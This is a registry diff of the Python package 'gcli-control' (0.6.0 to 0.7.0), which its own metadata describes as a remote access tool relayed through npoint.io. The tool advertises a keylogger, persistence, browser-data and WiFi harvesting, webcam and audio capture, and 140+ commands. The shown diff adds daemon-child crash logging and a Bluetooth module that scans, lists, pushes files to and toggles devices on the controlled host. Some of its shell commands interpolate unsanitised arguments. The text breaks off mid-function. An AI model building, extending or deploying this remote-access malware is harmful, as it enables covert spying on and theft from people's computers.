gcli-control 0.6.0__tar.gz → 0.7.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {gcli_control-0.6.0 → gcli_control-0.7.0}/PKG-INFO +2 -2
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/__init__.py +1 -1
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/__main__.py +27 -0
- gcli_control-0.7.0/gcli/bluetooth.py +611 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/client.py +314 -0
- gcli_control-0.7.0/gcli/desktop.py +800 -0
- gcli_control-0.7.0/gcli/encrypt.py +293 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/host.py +53 -21
- gcli_control-0.7.0/gcli/users.py +439 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/utils.py +15 -2
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/PKG-INFO +2 -2
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/SOURCES.txt +4 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/pyproject.toml +2 -2
- {gcli_control-0.6.0 → gcli_control-0.7.0}/README.md +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/aliases.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/audio.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/automation.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/browser.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/clipboard.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/colors.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/crypto.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/elevator.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/fileops.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/forensics.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/keylog.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/monitoring.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/netutils.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/network_config.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/npoint.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/output.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/persistence.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/processes.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/protocol.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/registry.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/security.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/session.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/system.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/transfer.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/webcam.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/wifi.py +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/dependency_links.txt +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/entry_points.txt +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/requires.txt +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/top_level.txt +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/setup.cfg +0 -0
- {gcli_control-0.6.0 → gcli_control-0.7.0}/tests/test_integration.py +0 -0
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: gcli-control
|
|
3
|
-
Version: 0.
|
|
4
|
-
Summary: Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, browser data, WiFi, registry, and
|
|
3
|
+
Version: 0.7.0
|
|
4
|
+
Summary: Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands
|
|
5
5
|
Author: gcli contributors
|
|
6
6
|
License-Expression: MIT
|
|
7
7
|
Project-URL: Homepage, https://github.com/gcli-control/gcli
|
|
@@ -7,9 +7,11 @@ Commands:
|
|
|
7
7
|
gcli stop [--bin ID]
|
|
8
8
|
"""
|
|
9
9
|
import argparse
|
|
10
|
+
import os
|
|
10
11
|
import sys
|
|
11
12
|
import getpass
|
|
12
13
|
import logging
|
|
14
|
+
import time
|
|
13
15
|
|
|
14
16
|
from .host import start_daemon, stop_daemon, DEFAULT_BIN_ID, DEFAULT_POLL
|
|
15
17
|
from .client import SSHSession
|
|
@@ -53,6 +55,16 @@ def cmd_stop(args):
|
|
|
53
55
|
|
|
54
56
|
|
|
55
57
|
def main():
|
|
58
|
+
# Diagnostic: write a marker file when running as daemon child
|
|
59
|
+
if os.environ.get("GCLI_DAEMON") == "1":
|
|
60
|
+
try:
|
|
61
|
+
from pathlib import Path
|
|
62
|
+
_marker = Path.home() / ".gcli" / "child_start.log"
|
|
63
|
+
with open(_marker, "a", encoding="utf-8") as _f:
|
|
64
|
+
_f.write(f"main() called at {time.strftime('%H:%M:%S')} pid={os.getpid()} argv={sys.argv}\n")
|
|
65
|
+
except Exception:
|
|
66
|
+
pass
|
|
67
|
+
|
|
56
68
|
parser = argparse.ArgumentParser(
|
|
57
69
|
prog="gcli",
|
|
58
70
|
description="Remote access tool via npoint.io — encrypted command relay",
|
|
@@ -97,6 +109,21 @@ def main():
|
|
|
97
109
|
sys.exit(130)
|
|
98
110
|
except Exception as e:
|
|
99
111
|
logger.error("Fatal error: %s", e)
|
|
112
|
+
# When running as a detached daemon, stderr is DEVNULL so errors
|
|
113
|
+
# vanish silently. Write to a crash file for diagnostics.
|
|
114
|
+
if os.environ.get("GCLI_DAEMON") == "1":
|
|
115
|
+
try:
|
|
116
|
+
from pathlib import Path
|
|
117
|
+
crash = Path.home() / ".gcli" / "daemon_crash.log"
|
|
118
|
+
import traceback
|
|
119
|
+
with open(crash, "a", encoding="utf-8") as f:
|
|
120
|
+
f.write(f"\n{'='*60}\n")
|
|
121
|
+
f.write(f"CRASH at {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
|
122
|
+
f.write(f"PID: {os.getpid()}\n")
|
|
123
|
+
f.write(f"Error: {e}\n")
|
|
124
|
+
traceback.print_exc(file=f)
|
|
125
|
+
except Exception:
|
|
126
|
+
pass
|
|
100
127
|
sys.exit(1)
|
|
101
128
|
|
|
102
129
|
|
|
@@ -0,0 +1,611 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Bluetooth device management for the gcli host daemon.
|
|
3
|
+
Provides structured Bluetooth commands (status, scan, list paired, info,
|
|
4
|
+
send file, toggle, remove device) that return JSON-serialisable result dicts
|
|
5
|
+
with cross-platform support for Windows, Linux, and macOS.
|
|
6
|
+
"""
|
|
7
|
+
import os
|
|
8
|
+
import re
|
|
9
|
+
import time
|
|
10
|
+
import platform
|
|
11
|
+
import subprocess
|
|
12
|
+
import logging
|
|
13
|
+
from typing import Any, Dict, List, Optional
|
|
14
|
+
|
|
15
|
+
logger = logging.getLogger("gcli.bluetooth")
|
|
16
|
+
|
|
17
|
+
__all__ = [
|
|
18
|
+
"bt_status",
|
|
19
|
+
"bt_scan",
|
|
20
|
+
"bt_list_paired",
|
|
21
|
+
"bt_info",
|
|
22
|
+
"bt_send_file",
|
|
23
|
+
"bt_toggle",
|
|
24
|
+
"bt_remove_device",
|
|
25
|
+
]
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
# ---------------------------------------------------------------------------
|
|
29
|
+
# Helpers
|
|
30
|
+
# ---------------------------------------------------------------------------
|
|
31
|
+
|
|
32
|
+
def _is_windows() -> bool:
|
|
33
|
+
return platform.system() == "Windows"
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
def _is_linux() -> bool:
|
|
37
|
+
return platform.system() == "Linux"
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def _is_macos() -> bool:
|
|
41
|
+
return platform.system() == "Darwin"
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def _run(cmd: str, timeout: int = 30) -> tuple:
|
|
45
|
+
"""Run a shell command and return (stdout, stderr, returncode)."""
|
|
46
|
+
try:
|
|
47
|
+
result = subprocess.run(
|
|
48
|
+
cmd,
|
|
49
|
+
shell=True,
|
|
50
|
+
capture_output=True,
|
|
51
|
+
text=True,
|
|
52
|
+
timeout=timeout,
|
|
53
|
+
)
|
|
54
|
+
return result.stdout, result.stderr, result.returncode
|
|
55
|
+
except subprocess.TimeoutExpired:
|
|
56
|
+
return "", "Command timed out", 1
|
|
57
|
+
except Exception as exc:
|
|
58
|
+
return "", str(exc), 1
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def _run_ps(script: str, timeout: int = 30) -> tuple:
|
|
62
|
+
"""Run a PowerShell command and return (stdout, stderr, returncode)."""
|
|
63
|
+
try:
|
|
64
|
+
result = subprocess.run(
|
|
65
|
+
["powershell", "-NoProfile", "-Command", script],
|
|
66
|
+
capture_output=True,
|
|
67
|
+
text=True,
|
|
68
|
+
timeout=timeout,
|
|
69
|
+
)
|
|
70
|
+
return result.stdout, result.stderr, result.returncode
|
|
71
|
+
except FileNotFoundError:
|
|
72
|
+
return "", "PowerShell not found", 1
|
|
73
|
+
except subprocess.TimeoutExpired:
|
|
74
|
+
return "", "PowerShell command timed out", 1
|
|
75
|
+
except Exception as exc:
|
|
76
|
+
return "", str(exc), 1
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
def _run_bluetoothctl(args: str, timeout: int = 15) -> tuple:
|
|
80
|
+
"""Run a bluetoothctl command on Linux and return (stdout, stderr, rc)."""
|
|
81
|
+
cmd = f"echo '{args}' | timeout {timeout + 5} bluetoothctl"
|
|
82
|
+
return _run(cmd, timeout=timeout)
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
def _parse_bt_address(text: str) -> Optional[str]:
|
|
86
|
+
"""Extract the first Bluetooth MAC address found in *text*."""
|
|
87
|
+
match = re.search(
|
|
88
|
+
r"([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})", text
|
|
89
|
+
)
|
|
90
|
+
return match.group(1) if match else None
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
def _classify_device_type(name: str, cod: str = "") -> str:
|
|
94
|
+
"""Best-effort device type classification from name / class-of-device."""
|
|
95
|
+
name_lower = name.lower()
|
|
96
|
+
cod_str = str(cod)
|
|
97
|
+
|
|
98
|
+
if any(k in name_lower for k in ("headset", "headphone", "earbuds", "airpods", "buds")):
|
|
99
|
+
return "audio"
|
|
100
|
+
if any(k in name_lower for k in ("mouse", "trackpad", "keyboard", "logitech")):
|
|
101
|
+
return "peripheral"
|
|
102
|
+
if any(k in name_lower for k in ("phone", "iphone", "android", "galaxy", "pixel")):
|
|
103
|
+
return "phone"
|
|
104
|
+
if any(k in name_lower for k in ("tv", "monitor", "display", "speaker")):
|
|
105
|
+
return "display"
|
|
106
|
+
if any(k in name_lower for k in ("car", "vehicle", "automotive")):
|
|
107
|
+
return "automotive"
|
|
108
|
+
|
|
109
|
+
if cod_str:
|
|
110
|
+
major = int(cod_str[:2], 16) if len(cod_str) >= 2 else 0
|
|
111
|
+
if major in (0x04, 0x05):
|
|
112
|
+
return "audio"
|
|
113
|
+
if major in (0x07,):
|
|
114
|
+
return "peripheral"
|
|
115
|
+
if major in (0x01,):
|
|
116
|
+
return "computer"
|
|
117
|
+
return "unknown"
|
|
118
|
+
|
|
119
|
+
|
|
120
|
+
# ---------------------------------------------------------------------------
|
|
121
|
+
# Public API
|
|
122
|
+
# ---------------------------------------------------------------------------
|
|
123
|
+
|
|
124
|
+
def bt_status() -> dict:
|
|
125
|
+
"""Check if Bluetooth is enabled/disabled.
|
|
126
|
+
|
|
127
|
+
Returns ``{"type": "bt_status", "enabled": bool, "adapter": str|None,
|
|
128
|
+
"discoverable": bool}``.
|
|
129
|
+
"""
|
|
130
|
+
result: Dict[str, Any] = {"type": "bt_status", "enabled": False, "adapter": None, "discoverable": False}
|
|
131
|
+
try:
|
|
132
|
+
if _is_windows():
|
|
133
|
+
stdout, _, rc = _run_ps(
|
|
134
|
+
"Get-Service bthserv | Select-Object -ExpandProperty Status; "
|
|
135
|
+
"Get-PnpDevice -Class Bluetooth -Status OK -ErrorAction SilentlyContinue "
|
|
136
|
+
"| Select-Object -First 1 -ExpandProperty FriendlyName"
|
|
137
|
+
)
|
|
138
|
+
lines = [l.strip() for l in stdout.strip().splitlines() if l.strip()]
|
|
139
|
+
result["enabled"] = lines[0].upper() == "RUNNING" if lines else False
|
|
140
|
+
result["adapter"] = lines[1] if len(lines) > 1 else None
|
|
141
|
+
|
|
142
|
+
disc_out, _, _ = _run_ps(
|
|
143
|
+
"$adapter = Get-PnpDevice -Class Bluetooth -Status OK -ErrorAction SilentlyContinue | "
|
|
144
|
+
"Select-Object -First 1; if ($adapter) { (Get-ItemProperty -Path "
|
|
145
|
+
"'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\BTHPORT\\Parameters\\Radio' "
|
|
146
|
+
"-ErrorAction SilentlyContinue).RadioDiscoverable }"
|
|
147
|
+
)
|
|
148
|
+
if disc_out.strip().startswith("1"):
|
|
149
|
+
result["discoverable"] = True
|
|
150
|
+
|
|
151
|
+
elif _is_linux():
|
|
152
|
+
stdout, _, rc = _run("bluetoothctl show | grep -i 'powered'")
|
|
153
|
+
if rc == 0 and "yes" in stdout.lower():
|
|
154
|
+
result["enabled"] = True
|
|
155
|
+
name_out, _, _ = _run("bluetoothctl show | grep -i 'name'")
|
|
156
|
+
if name_out.strip():
|
|
157
|
+
result["adapter"] = name_out.split(":", 1)[-1].strip()
|
|
158
|
+
disc_out, _, _ = _run("bluetoothctl show | grep -i 'discoverable'")
|
|
159
|
+
if "yes" in disc_out.lower():
|
|
160
|
+
result["discoverable"] = True
|
|
161
|
+
|
|
162
|
+
elif _is_macos():
|
|
163
|
+
stdout, _, rc = _run("system_profiler SPBluetoothDataType")
|
|
164
|
+
if rc == 0:
|
|
165
|
+
result["enabled"] = True
|
|
166
|
+
result["adapter"] = "Built-in Bluetooth"
|
|
167
|
+
if "Discoverable:" in stdout:
|
|
168
|
+
disc_line = [l for l in stdout.splitlines() if "Discoverable:" in l]
|
|
169
|
+
if disc_line and "Yes" in disc_line[0]:
|
|
170
|
+
result["discoverable"] = True
|
|
171
|
+
else:
|
|
172
|
+
result["enabled"] = False
|
|
173
|
+
else:
|
|
174
|
+
result["type"] = "error"
|
|
175
|
+
result["error"] = f"Unsupported platform: {platform.system()}"
|
|
176
|
+
except Exception as exc:
|
|
177
|
+
result["type"] = "error"
|
|
178
|
+
result["error"] = str(exc)
|
|
179
|
+
logger.exception("bt_status failed")
|
|
180
|
+
return result
|
|
181
|
+
|
|
182
|
+
|
|
183
|
+
def bt_scan(duration: int = 10) -> dict:
|
|
184
|
+
"""Scan for nearby Bluetooth devices.
|
|
185
|
+
|
|
186
|
+
Returns ``{"type": "bt_scan", "devices": [...], "count": N}``.
|
|
187
|
+
"""
|
|
188
|
+
result: Dict[str, Any] = {"type": "bt_scan", "devices": [], "count": 0}
|
|
189
|
+
try:
|
|
190
|
+
if _is_windows():
|
|
191
|
+
stdout, _, rc = _run_ps(
|
|
192
|
+
"Start-BluetoothDiscovery -Duration "
|
|
193
|
+
f"{duration} -ErrorAction SilentlyContinue; "
|
|
194
|
+
"Get-PnpDevice -Class Bluetooth -Status OK -ErrorAction SilentlyContinue "
|
|
195
|
+
"| Select-Object -Property FriendlyName, InstanceId | "
|
|
196
|
+
"ConvertTo-Json -Compress"
|
|
197
|
+
)
|
|
198
|
+
if stdout.strip():
|
|
199
|
+
try:
|
|
200
|
+
import json
|
|
201
|
+
data = json.loads(stdout.strip())
|
|
202
|
+
items = data if isinstance(data, list) else [data]
|
|
203
|
+
for item in items:
|
|
204
|
+
name = item.get("FriendlyName", "Unknown")
|
|
205
|
+
addr = ""
|
|
206
|
+
uid = item.get("InstanceId", "")
|
|
207
|
+
m = re.search(r"(\(.*\))", uid)
|
|
208
|
+
if m:
|
|
209
|
+
addr = m.group(1).strip("()")
|
|
210
|
+
result["devices"].append({
|
|
211
|
+
"name": name,
|
|
212
|
+
"address": addr,
|
|
213
|
+
"type": "unknown",
|
|
214
|
+
"rssi": 0,
|
|
215
|
+
})
|
|
216
|
+
except (ValueError, KeyError):
|
|
217
|
+
pass
|
|
218
|
+
result["count"] = len(result["devices"])
|
|
219
|
+
|
|
220
|
+
elif _is_linux():
|
|
221
|
+
_run_bluetoothctl("power on")
|
|
222
|
+
_run_bluetoothctl("scan on")
|
|
223
|
+
time.sleep(duration)
|
|
224
|
+
_run_bluetoothctl("scan off")
|
|
225
|
+
|
|
226
|
+
stdout, _, _ = _run("bluetoothctl devices")
|
|
227
|
+
for line in stdout.splitlines():
|
|
228
|
+
parts = line.strip().split(None, 2)
|
|
229
|
+
if len(parts) >= 2:
|
|
230
|
+
addr = parts[1] if len(parts) > 1 else ""
|
|
231
|
+
name = parts[2] if len(parts) > 2 else "Unknown"
|
|
232
|
+
dev_type = _classify_device_type(name)
|
|
233
|
+
result["devices"].append({
|
|
234
|
+
"name": name,
|
|
235
|
+
"address": addr,
|
|
236
|
+
"type": dev_type,
|
|
237
|
+
"rssi": 0,
|
|
238
|
+
})
|
|
239
|
+
result["count"] = len(result["devices"])
|
|
240
|
+
|
|
241
|
+
elif _is_macos():
|
|
242
|
+
stdout, _, rc = _run("system_profiler SPBluetoothDataType")
|
|
243
|
+
if rc == 0:
|
|
244
|
+
current_name = ""
|
|
245
|
+
current_addr = ""
|
|
246
|
+
current_type = ""
|
|
247
|
+
in_device = False
|
|
248
|
+
|
|
249
|
+
for line in stdout.splitlines():
|
|
250
|
+
stripped = line.strip()
|
|
251
|
+
if stripped.endswith(":") and not stripped.startswith('"'):
|
|
252
|
+
if in_device and current_name:
|
|
253
|
+
result["devices"].append({
|
|
254
|
+
"name": current_name,
|
|
255
|
+
"address": current_addr,
|
|
256
|
+
"type": _classify_device_type(current_name),
|
|
257
|
+
"rssi": 0,
|
|
258
|
+
})
|
|
259
|
+
current_name = stripped.rstrip(":")
|
|
260
|
+
current_addr = ""
|
|
261
|
+
in_device = True
|
|
262
|
+
elif "Address:" in stripped or "address" in stripped.lower():
|
|
263
|
+
m = re.search(r"([0-9A-Fa-f\-:]{17})", stripped)
|
|
264
|
+
if m:
|
|
265
|
+
current_addr = m.group(1)
|
|
266
|
+
|
|
267
|
+
if in_device and current_name:
|
|
268
|
+
result["devices"].append({
|
|
269
|
+
"name": current_name,
|
|
270
|
+
"address": current_addr,
|
|
271
|
+
"type": _classify_device_type(current_name),
|
|
272
|
+
"rssi": 0,
|
|
273
|
+
})
|
|
274
|
+
result["count"] = len(result["devices"])
|
|
275
|
+
else:
|
|
276
|
+
result["type"] = "error"
|
|
277
|
+
result["error"] = f"Unsupported platform: {platform.system()}"
|
|
278
|
+
except Exception as exc:
|
|
279
|
+
result["type"] = "error"
|
|
280
|
+
result["error"] = str(exc)
|
|
281
|
+
logger.exception("bt_scan failed")
|
|
282
|
+
return result
|
|
283
|
+
|
|
284
|
+
|
|
285
|
+
def bt_list_paired() -> dict:
|
|
286
|
+
"""List paired/known Bluetooth devices.
|
|
287
|
+
|
|
288
|
+
Returns ``{"type": "bt_list_paired", "paired_devices": [...]}``.
|
|
289
|
+
"""
|
|
290
|
+
result: Dict[str, Any] = {"type": "bt_list_paired", "paired_devices": []}
|
|
291
|
+
try:
|
|
292
|
+
if _is_windows():
|
|
293
|
+
stdout, _, rc = _run_ps(
|
|
294
|
+
"Get-PnpDevice -Class Bluetooth -ErrorAction SilentlyContinue "
|
|
295
|
+
"| Select-Object -Property FriendlyName, InstanceId, Status "
|
|
296
|
+
"| ConvertTo-Json -Compress"
|
|
297
|
+
)
|
|
298
|
+
if stdout.strip():
|
|
299
|
+
try:
|
|
300
|
+
import json
|
|
301
|
+
data = json.loads(stdout.strip())
|
|
302
|
+
items = data if isinstance(data, list) else [data]
|
|
303
|
+
for item in items:
|
|
304
|
+
name = item.get("FriendlyName", "Unknown")
|
|
305
|
+
uid = item.get("InstanceId", "")
|
|
306
|
+
addr = ""
|
|
307
|
+
m = re.search(r"(\(.*\))", uid)
|
|
308
|
+
if m:
|
|
309
|
+
addr = m.group(1).strip("()")
|
|
310
|
+
result["paired_devices"].append({
|
|
311
|
+
"name": name,
|
|
312
|
+
"address": addr,
|
|
313
|
+
"type": _classify_device_type(name),
|
|
314
|
+
})
|
|
315
|
+
except (ValueError, KeyError):
|
|
316
|
+
pass
|
|
317
|
+
|
|
318
|
+
elif _is_linux():
|
|
319
|
+
stdout, _, _ = _run("bluetoothctl paired-devices")
|
|
320
|
+
for line in stdout.splitlines():
|
|
321
|
+
parts = line.strip().split(None, 2)
|
|
322
|
+
if len(parts) >= 2:
|
|
323
|
+
addr = parts[1]
|
|
324
|
+
name = parts[2] if len(parts) > 2 else "Unknown"
|
|
325
|
+
result["paired_devices"].append({
|
|
326
|
+
"name": name,
|
|
327
|
+
"address": addr,
|
|
328
|
+
"type": _classify_device_type(name),
|
|
329
|
+
})
|
|
330
|
+
|
|
331
|
+
elif _is_macos():
|
|
332
|
+
stdout, _, rc = _run("system_profiler SPBluetoothDataType")
|
|
333
|
+
if rc == 0:
|
|
334
|
+
paired = False
|
|
335
|
+
current_name = ""
|
|
336
|
+
current_addr = ""
|
|
337
|
+
for line in stdout.splitlines():
|
|
338
|
+
stripped = line.strip()
|
|
339
|
+
if "Previously Connected Devices" in stripped or "Paired:" in stripped:
|
|
340
|
+
paired = True
|
|
341
|
+
continue
|
|
342
|
+
if paired and stripped.endswith(":") and not stripped.startswith('"'):
|
|
343
|
+
if current_name:
|
|
344
|
+
result["paired_devices"].append({
|
|
345
|
+
"name": current_name,
|
|
346
|
+
"address": current_addr,
|
|
347
|
+
"type": _classify_device_type(current_name),
|
|
348
|
+
})
|
|
349
|
+
current_name = stripped.rstrip(":")
|
|
350
|
+
current_addr = ""
|
|
351
|
+
elif paired and ("Address:" in stripped or "address" in stripped.lower()):
|
|
352
|
+
m = re.search(r"([0-9A-Fa-f\-:]{17})", stripped)
|
|
353
|
+
if m:
|
|
354
|
+
current_addr = m.group(1)
|
|
355
|
+
if current_name:
|
|
356
|
+
result["paired_devices"].append({
|
|
357
|
+
"name": current_name,
|
|
358
|
+
"address": current_addr,
|
|
359
|
+
"type": _classify_device_type(current_name),
|
|
360
|
+
})
|
|
361
|
+
else:
|
|
362
|
+
result["type"] = "error"
|
|
363
|
+
result["error"] = f"Unsupported platform: {platform.system()}"
|
|
364
|
+
except Exception as exc:
|
|
365
|
+
result["type"] = "error"
|
|
366
|
+
result["error"] = str(exc)
|
|
367
|
+
logger.exception("bt_list_paired failed")
|
|
368
|
+
return result
|
|
369
|
+
|
|
370
|
+
|
|
371
|
+
def bt_info(address: str) -> dict:
|
|
372
|
+
"""Get detailed info about a specific Bluetooth device by MAC address.
|
|
373
|
+
|
|
374
|
+
Returns ``{"type": "bt_info", "address": str, ...}`` with available device
|
|
375
|
+
properties.
|
|
376
|
+
"""
|
|
377
|
+
result: Dict[str, Any] = {"type": "bt_info", "address": address}
|
|
378
|
+
try:
|
|
379
|
+
if _is_windows():
|
|
380
|
+
safe_addr = address.replace(":", "-")
|
|
381
|
+
stdout, _, _ = _run_ps(
|
|
382
|
+
f"Get-PnpDevice -InstanceId '*{safe_addr}*' -ErrorAction SilentlyContinue "
|
|
383
|
+
"| Select-Object -Property FriendlyName, InstanceId, Status, Class, Manufacturer "
|
|
384
|
+
"| ConvertTo-Json -Compress"
|
|
385
|
+
)
|
|
386
|
+
if stdout.strip():
|
|
387
|
+
try:
|
|
388
|
+
import json
|
|
389
|
+
data = json.loads(stdout.strip())
|
|
390
|
+
items = data if isinstance(data, list) else [data]
|
|
391
|
+
for item in items:
|
|
392
|
+
result["name"] = item.get("FriendlyName", "Unknown")
|
|
393
|
+
result["status"] = item.get("Status", "Unknown")
|
|
394
|
+
result["class"] = item.get("Class", "Bluetooth")
|
|
395
|
+
result["manufacturer"] = item.get("Manufacturer", "Unknown")
|
|
396
|
+
except (ValueError, KeyError):
|
|
397
|
+
pass
|
|
398
|
+
|
|
399
|
+
elif _is_linux():
|
|
400
|
+
stdout, _, _ = _run(f"bluetoothctl info {address}")
|
|
401
|
+
for line in stdout.splitlines():
|
|
402
|
+
if ":" in line:
|
|
403
|
+
key, _, val = line.partition(":")
|
|
404
|
+
key = key.strip().lower().replace(" ", "_")
|
|
405
|
+
val = val.strip()
|
|
406
|
+
if key and val:
|
|
407
|
+
result[key] = val
|
|
408
|
+
|
|
409
|
+
elif _is_macos():
|
|
410
|
+
stdout, _, rc = _run("system_profiler SPBluetoothDataType")
|
|
411
|
+
if rc == 0:
|
|
412
|
+
in_block = False
|
|
413
|
+
for line in stdout.splitlines():
|
|
414
|
+
stripped = line.strip()
|
|
415
|
+
if address.upper().replace("-", ":") in stripped.upper():
|
|
416
|
+
in_block = True
|
|
417
|
+
if in_block:
|
|
418
|
+
if ":" in stripped:
|
|
419
|
+
key, _, val = stripped.partition(":")
|
|
420
|
+
key = key.strip().lower().replace(" ", "_")
|
|
421
|
+
val = val.strip()
|
|
422
|
+
if key and val:
|
|
423
|
+
result[key] = val
|
|
424
|
+
if stripped == "" and len(result) > 2:
|
|
425
|
+
break
|
|
426
|
+
else:
|
|
427
|
+
result["type"] = "error"
|
|
428
|
+
result["error"] = f"Unsupported platform: {platform.system()}"
|
|
429
|
+
except Exception as exc:
|
|
430
|
+
result["type"] = "error"
|
|
431
|
+
result["error"] = str(exc)
|
|
432
|
+
logger.exception("bt_info failed")
|
|
433
|
+
return result
|
|
434
|
+
|
|
435
|
+
|
|
436
|
+
def bt_send_file(address: str, file_path: str) -> dict:
|
|
437
|
+
"""Attempt to send a file to a Bluetooth device via OBEX push.
|
|
438
|
+
|
|
439
|
+
Returns ``{"type": "bt_send_file", "success": bool, "address": str,
|
|
440
|
+
"file": str}``.
|
|
441
|
+
"""
|
|
442
|
+
result: Dict[str, Any] = {
|
|
443
|
+
"type": "bt_send_file",
|
|
444
|
+
"success": False,
|
|
445
|
+
"address": address,
|
|
446
|
+
"file": file_path,
|
|
447
|
+
}
|
|
448
|
+
if not os.path.isfile(file_path):
|
|
449
|
+
result["error"] = f"File not found: {file_path}"
|
|
450
|
+
return result
|
|
451
|
+
|
|
452
|
+
try:
|
|
453
|
+
if _is_windows():
|
|
454
|
+
stdout, stderr, rc = _run_ps(
|
|
455
|
+
f'Copy-Item "{file_path}" "::{address}" -ErrorAction Stop'
|
|
456
|
+
)
|
|
457
|
+
if rc == 0:
|
|
458
|
+
result["success"] = True
|
|
459
|
+
else:
|
|
460
|
+
result["error"] = stderr.strip() or "Copy-Item failed"
|
|
461
|
+
|
|
462
|
+
elif _is_linux():
|
|
463
|
+
stdout, stderr, rc = _run(
|
|
464
|
+
f"obexftp -b {address} -p \"{file_path}\"", timeout=30
|
|
465
|
+
)
|
|
466
|
+
if rc == 0:
|
|
467
|
+
result["success"] = True
|
|
468
|
+
else:
|
|
469
|
+
stdout2, stderr2, rc2 = _run(
|
|
470
|
+
f"bluez-test-ftp put {address} \"{file_path}\"", timeout=30
|
|
471
|
+
)
|
|
472
|
+
if rc2 == 0:
|
|
473
|
+
result["success"] = True
|
|
474
|
+
else:
|
|
475
|
+
result["error"] = stderr.strip() or stderr2.strip() or "OBEX push failed"
|
|
476
|
+
|
|
477
|
+
elif _is_macos():
|
|
478
|
+
stdout, stderr, rc = _run(
|
|
479
|
+
f"open -a Bluetooth\\ File\\ Exchange \"{file_path}\"", timeout=15
|
|
480
|
+
)
|
|
481
|
+
if rc == 0:
|
|
482
|
+
result["success"] = True
|
|
483
|
+
result["note"] = "File Exchange opened; select target device manually"
|
|
484
|
+
else:
|
|
485
|
+
result["error"] = stderr.strip() or "Bluetooth File Exchange failed"
|
|
486
|
+
else:
|
|
487
|
+
result["error"] = f"Unsupported platform: {platform.system()}"
|
|
488
|
+
except Exception as exc:
|
|
489
|
+
result["error"] = str(exc)
|
|
490
|
+
logger.exception("bt_send_file failed")
|
|
491
|
+
return result
|
|
492
|
+
|
|
493
|
+
|
|
494
|
+
def bt_toggle(enable: bool = True) -> dict:
|
|
495
|
+
"""Enable or disable the Bluetooth adapter.
|
|
496
|
+
|
|
497
|
+
Returns ``{"type": "bt_toggle", "enabled": bool}``.
|
|
498
|
+
"""
|
|
499
|
+
result: Dict[str, Any] = {"type": "bt_toggle", "enabled": False}
|
|
500
|
+
try:
|
|
501
|
+
if _is_windows():
|
|
502
|
+
state = "Enable" if enable else "Disable"
|
|
503
|
+
stdout, stderr, rc = _run_ps(
|
|
504
|
+
f"$net = Get-NetAdapter -InterfaceDescription *Bluetooth* "
|
|
505
|
+
f"-ErrorAction SilentlyContinue; if ($net) {{ "
|
|
506
|
+
f"{'Enable-NetAdapter' if enable else 'Disable-NetAdapter'} "
|
|
507
|
+
f"-Name $net.Name -Confirm:$false }} else {{ "
|
|
508
|
+
f"Write-Error 'No Bluetooth adapter found' }}"
|
|
509
|
+
)
|
|
510
|
+
if rc == 0:
|
|
511
|
